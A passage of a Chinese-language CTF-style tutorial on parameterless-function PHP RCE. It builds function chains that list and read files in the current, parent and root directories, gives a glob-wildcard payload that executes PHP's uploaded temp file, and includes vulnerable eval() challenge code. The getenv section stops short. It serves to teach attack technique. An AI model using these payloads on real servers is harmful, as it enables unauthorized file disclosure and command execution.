如何理解phprce中無參數(shù)讀文件

如何理解php rce中無參數(shù)讀文件,相信很多沒有經(jīng)驗的人對此束手無策,為此本文總結(jié)了問題出現(xiàn)的原因和解決方法,通過這篇文章希望你能解決這個問題。

創(chuàng)新互聯(lián)是一家以成都網(wǎng)站建設(shè)、網(wǎng)頁設(shè)計、品牌設(shè)計、軟件運維、網(wǎng)站推廣、小程序App開發(fā)等移動開發(fā)為一體互聯(lián)網(wǎng)公司。已累計為發(fā)電機(jī)租賃等眾行業(yè)中小客戶提供優(yōu)質(zhì)的互聯(lián)網(wǎng)建站和軟件開發(fā)服務(wù)。

一、什么是無參數(shù)?

就是使用函數(shù)的時候不能帶有參數(shù)。

可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c'),不能帶參數(shù)

所以我們要使用無參數(shù)的函數(shù)進(jìn)行文件讀取或者命令執(zhí)行。

二、無參數(shù)文件讀取

  1. 查看當(dāng)前目錄文件名

    通常,可以使用 print_r(scandir('.'))查看當(dāng)前目錄下所有文件,以數(shù)組的形式輸出。

    如何理解php rce中無參數(shù)讀文件

但是要怎么構(gòu)造參數(shù)里這個點呢。

  • localeconv() 函數(shù)返回一包含本地數(shù)字及貨幣格式信息的數(shù)組。而數(shù)組第一項就是 .

    https://www.w3school.com.cn/php/func_string_localeconv.asp

如何理解php rce中無參數(shù)讀文件

  • current() 返回數(shù)組中的單元,默認(rèn)第一個值。

    所以我們輸出 print_r(scandir(current(localeconv())));也會如同 print_r(scandir('.'))打印當(dāng)前目錄下文件名。

  • 使用 print_r(scandir(pos(localeconv())));,pos是current的別名

  • reset()函數(shù)將內(nèi)部指針指向數(shù)組中的第一個元素,并輸出。

    相關(guān)的方法:

    如何理解php rce中無參數(shù)讀文件

    所以我們現(xiàn)在要構(gòu)造 reset()的參數(shù)。

    chr(46)就是字符 ..所以我們需要構(gòu)造 46 .

    chr(rand())    # 需要看運氣。。。不現(xiàn)實
    char(time())
    char(current(localtime(time())))
    • [tm_sec] - 秒數(shù)

    • [tm_min] - 分鐘數(shù)

    • [tm_hour] - 小時

    • [tm_mday] - 月份中的第幾天

    • [tm_mon] - 年份中的第幾個月,從 0 開始表示一月份

    • [tm_year] - 年份,從 1900 開始

    • [tm_wday] - 星期中的第幾天 (Sunday=0)

    • [tm_yday] - 年中的第幾天

    • [tm_isdst] - 夏令時當(dāng)前是否生效

    • chr(time())

      chr() 函數(shù)以256為一個周期,所以 chr(46)chr(302)、chr(558)等都等于 .

      所以使用chr(time()) 一個周期必能出現(xiàn)一次。

    • chr(current(localtime(time())))

      localtime()以數(shù)值數(shù)組和關(guān)聯(lián)數(shù)組的形式輸出本地時間:

      關(guān)聯(lián)數(shù)組的鍵名如下:

      數(shù)組第一個值每秒加 1 ,所以最多 60 秒之內(nèi)就可以得到 46 .然后用 current()函數(shù)即可獲得 第一位鍵值。再利用 chr() 函數(shù)就可以完美獲得 .

    • current()- 返回數(shù)組中的當(dāng)前元素的值

    • end()- 將內(nèi)部指針指向數(shù)組中的最后一個元素,并輸出

    • next()- 將內(nèi)部指針指向數(shù)組中的下一個元素,并輸出

    • prev()- 將內(nèi)部指針指向數(shù)組中的上一個元素,并輸出

    • each()- 返回當(dāng)前元素的鍵名和鍵值,并將內(nèi)部指針向前移動

  • phpversion()返回 PHP 版本,例如 5.4.45

    floor(phpversion()) 返回 5

    sqrt(floor(phpversion())) 返回 2.2360679774998

    tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615

    cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491

    sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156

    ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46

    chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."

    如何理解php rce中無參數(shù)讀文件

  • crypt()返回使用 DES、Blowfish 或 MD5 算法加密的字符串。

    hebrevc() 函數(shù)把希伯來文本從右至左的流轉(zhuǎn)換為左至右的流。同時,把新行(\n)轉(zhuǎn)換為

    hebrevc(crypt(arg))可以隨機(jī)生成一個hash值,第一個字符隨機(jī)是$(大概率) 或者 "."(小概率) 然后通過chr(ord())只取第一個字符/

    ord()返回字符串中第一個字符的Ascii

    print_r(scandir(chr(ord(hebrevc(crypt(time()))))));多試幾次。

    如何理解php rce中無參數(shù)讀文件

  • strrev(crypt(serialize(array())))也可以得到".",只不過crypt(serialize(array()))的點出現(xiàn)在最后一個字符,需要使用strrev()逆序,然后使用chr(ord())獲取第一個字符.

    如何理解php rce中無參數(shù)讀文件

    print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));
  • 絕對路徑

    正常的,我們還可以用print_r(scandir('絕對路徑'));來查看當(dāng)前目錄文件名。

    獲取絕對路徑可用的有getcwd()realpath('.')

    如何理解php rce中無參數(shù)讀文件

    所以我們還可以用print_r(scandir(getcwd()));輸出當(dāng)前文件夾所有文件名.

    如何理解php rce中無參數(shù)讀文件

    讀取當(dāng)前目錄文件

    通過前面的方法輸出了當(dāng)前目錄文件名,如果文件不能直接顯示,比如PHP源碼,我們還需要使用函數(shù)讀取:

    前面的方法輸出的是數(shù)組,文件名是數(shù)組的值,那我們要怎么取出想要讀取文件的數(shù)組呢:

    如果要獲取最后一個文件內(nèi)容,我們可以:

    show_source(end(scandir(getcwd())));
    # 或者使用其他函數(shù)
    readfile
    highlight_file
    file_get_contents
    readgzfile()    # 也可讀文件,常用于繞過過濾

    報錯 Strict Standards: Only variables should be passed by reference in原因:PHP5.3以上默認(rèn)只能傳遞具體的變量,而不能通過函數(shù)返回值傳遞,沒有關(guān)系不影響我們讀文件。

    array_reverse() 以相反的元素順序返回數(shù)組

    本來在最后一位的文件可以反過來放第一位讀取。

    show_source(current(array_reverse(scandir(getcwd()))));

    如果是倒數(shù)第二個我們可以用:

    readfile(next(array_reverse(scandir(getcwd()))));

    我想著還可以繼續(xù)用 next()結(jié)果不行。

    那么如何讀取其他文件

    我們可以使用array_rand(array_flip()),array_flip()是交換數(shù)組的鍵和值,array_rand()是隨機(jī)返回一個數(shù)組。

    readfile(array_rand(array_flip(scandir(getcwd()))));
    readfile(array_rand(array_flip(scandir(current(localeconve())))));

    如何理解php rce中無參數(shù)讀文件

    如果目標(biāo)文件不在當(dāng)前目錄呢?

    • dirname() :返回路徑中的目錄部分,

      如何理解php rce中無參數(shù)讀文件

      從圖中可以看出,如果傳入的值是絕對路徑(不包含文件名),則返回的是上一層路徑,傳入的是文件名絕對路徑則返回文件的當(dāng)前路徑

    • chdir() :改變當(dāng)前工作目錄

      print_r(scandir(dirname(getcwd()))); //查看上一級目錄的文件
    • 構(gòu)造".."

      print_r(next(scandir(getcwd())));:我們scandir(getcwd())出現(xiàn)的數(shù)組第二個就是"..",所以可以用next()獲取

      print_r(scandir(next(scandir(getcwd()))));//也可查看上級目錄文件

      結(jié)合上文的一些構(gòu)造都是可以獲得".."的 :

      next(scandir(chr(ord(hebrevc(crypt(time()))))))
    • 讀取上級目錄文件

      直接 print_r(readfile(array_rand(array_flip(scandir(dirname(getcwd()))))));是不可以的,會報錯,因為默認(rèn)是在當(dāng)前工作目錄尋找并讀取這個文件,而這個文件在上一層目錄,所以要先改變當(dāng)前工作目錄,前面寫到了chdir(),使用:

      show_source(array_rand(array_flip(scandir(dirname(chdir(dirname(getcwd())))))));

      如果不能使用dirname(),可以使用構(gòu)造".."的方式切換路徑并讀?。?/p>

      但是這里切換路徑后getcwd()和localeconv()不能接收參數(shù),因為語法不允許,我們可以用之前的hebrevc(crypt(arg))

      show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(getcwd())))))))))));
      或更復(fù)雜的:
      show_source(array_rand(array_flip(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))))));
      還可以用:
      show_source(array_rand(array_flip(scandir(chr(current(localtime(time(chdir(next(scandir(current(localeconv()))))))))))));//這個得爆破,不然手動要刷新很久,如果文件是正數(shù)或倒數(shù)第一個第二個最好不過了,直接定位

      還有:

      if(chdir(next(scandir(getcwd()))))show_source(array_rand(array_flip(scandir(getcwd()))));
    • 查看和讀取根目錄文件

      print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

      strrev(crypt(serialize(array())))所獲得的字符串第一位有幾率是/,所以使用以上payload可以查看根目錄文件.

      但是有權(quán)限限制,linux系統(tǒng)下需要一定的權(quán)限才能讀到,所以不一定成功.

      if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));
      
      if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
    • array_flip() 函數(shù)用于反轉(zhuǎn)/交換數(shù)組中的鍵名和對應(yīng)關(guān)聯(lián)的鍵值。

    • array_rand() 函數(shù)返回數(shù)組中的隨機(jī)鍵名,或者如果您規(guī)定函數(shù)返回不只一個鍵名,則返回包含隨機(jī)鍵名的數(shù)組。

    • end()- 將數(shù)組的內(nèi)部指針指向最后一個單元

    • key()- 從關(guān)聯(lián)數(shù)組中取得鍵名

    • each()- 返回數(shù)組中當(dāng)前的鍵/值對并將數(shù)組指針向前移動一步

    • prev()- 將數(shù)組的內(nèi)部指針倒回一位

    • reset()- 將數(shù)組的內(nèi)部指針指向第一個單元

    • next()- 將數(shù)組中的內(nèi)部指針向前移動一位

利用通配符臨時文件
<?php
if(isset($_GET['code'])){
  $code=$_GET['code'];
  if(strlen($code)>35){
      die("Long.");
  }
  if(preg_match("/[A-Za-z0-9_$]+/",$code)){
      die("NO.");
  }
  eval($code);
}else{
  highlight_file(__FILE__);
}

因為$不能使用了,所以我們無法構(gòu)造PHP中的變量。

如何利用無字母、數(shù)字、$的系統(tǒng)命令來getshell?

  1. shell下可以利用.來執(zhí)行任意腳本

  2. Linux文件名支持用glob通配符代替

.或者叫period,它的作用和source一樣,就是用當(dāng)前的shell執(zhí)行一個文件中的命令。比如,當(dāng)前運行的shell是bash,則. file的意思就是用bash執(zhí)行file文件中的命令。

. file執(zhí)行文件,是不需要file有x權(quán)限的。那么,如果目標(biāo)服務(wù)器上有一個我們可控的文件,那不就可以利用.來執(zhí)行它了嗎?

這個文件也很好得到,我們可以發(fā)送一個上傳文件的POST包,此時PHP會將我們上傳的文件保存在臨時文件夾下,默認(rèn)的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機(jī)的大小寫字母。

第二個難題接踵而至,執(zhí)行. /tmp/phpXXXXXX,也是有字母的。此時就可以用到Linux下的glob通配符:

  • *可以代替0個及以上任意字符

  • ?可以代表1個任意字符

那么,/tmp/phpXXXXXX就可以表示為/*/?????????/???/?????????。

能夠匹配上/???/?????????這個通配符的文件有很多.

大部分同學(xué)對于通配符,可能知道的都只有*?.

其中,glob支持用[^x]的方法來構(gòu)造“這個位置不是字符x”。那么,我們用這個姿勢干掉一些干擾選項。

就跟正則表達(dá)式類似,glob支持利用[0-9]來表示一個范圍。

所有文件名都是小寫,只有PHP生成的臨時文件包含大寫字母。那么答案就呼之欲出了,我們只要找到一個可以表示“大寫字母”的glob通配符,就能精準(zhǔn)找到我們要執(zhí)行的文件。

翻開ascii碼表,可見大寫字母位于@[之間:

如何理解php rce中無參數(shù)讀文件

那么,我們可以利用[@-[]來表示大寫字母:

構(gòu)造 poc ,執(zhí)行任意命令。

當(dāng)然,php生成臨時文件名是隨機(jī)的,最后一個字符不一定是大寫字母,不過多嘗試幾次也就行了。

最后,我傳入的code為?c=. /???/????????[@-[],發(fā)送數(shù)據(jù)包如下:

#!/bin/sh

ls

如何理解php rce中無參數(shù)讀文件

三、無參數(shù)命令執(zhí)行(RCE)

我們可以使用無參數(shù)函數(shù)任意讀文件,也可以執(zhí)行命令。

  <?php
  if(';'===preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
      eval($_GET['code']);
  } else{
      show_source(__FILE__);
  }

我們傳入一個參數(shù),然后經(jīng)過正則替換后剩余 分號 ;方可執(zhí)行我們的payload.

代碼非常清晰,首先

preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])

代碼會將$_GET['code']中滿足正則/\W+((?R)?)/的部分,替換為空,然后查看是否剩下的部分強(qiáng)等于;如果滿足,則執(zhí)行

eval($_GET['code']);

否則什么都不做。那么思路很明確,我們弄清楚正則即可進(jìn)行RCE

[^\W]+\((?R)?\)

首先是[^\W]對于\W,其意思等價于[^A-Za-z0-9_]。那么我們知道,我們的input必須以此開頭然后是括號匹配

\( ...... \)

括號中間為

(?R)?

意思為重復(fù)整個模式簡單理解,我們可以輸入以下類型

a(b(c()))

但我們不能加參數(shù),否則將無法匹配,正則替換掉其他之后,甚于的不是只有分號,所以不強(qiáng)等于 左邊的;

a(c,d)

所以正則看完,題目的意思非常明確了:我們只能input函數(shù),但函數(shù)中不能使用參數(shù),否則判斷句右邊經(jīng)過替換,將不止剩余分號;。

既然傳入的code值不能含有參數(shù),那我們可不可以把參數(shù)放在別的地方,code用無參數(shù)函數(shù)來接收參數(shù)呢?這樣就可以打破無參數(shù)函數(shù)的限制:

3.1 getenv()

查閱php手冊,有非常多的超全局變量

$GLOBALS
$_SERVER
$_GET
$_POST
$_FILES
$_COOKIE
$_SESSION
$_REQUEST
$_ENV

我們可以使用$_ENV,對應(yīng)函數(shù)為getenv()

  • getenv — 獲取一個環(huán)境變量的值

首先想到headers,因為headers我們用戶可控,于是在PHP手冊中搜索:headers。

看完上述內(nèi)容,你們掌握如何理解php rce中無參數(shù)讀文件的方法了嗎?如果還想學(xué)到更多技能或想了解更多相關(guān)內(nèi)容,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道,感謝各位的閱讀!

網(wǎng)站題目:如何理解phprce中無參數(shù)讀文件
轉(zhuǎn)載來于:http://muchs.cn/article46/jooehg.html

成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供做網(wǎng)站面包屑導(dǎo)航、ChatGPT、標(biāo)簽優(yōu)化、響應(yīng)式網(wǎng)站定制開發(fā)

廣告

聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)

手機(jī)網(wǎng)站建設(shè)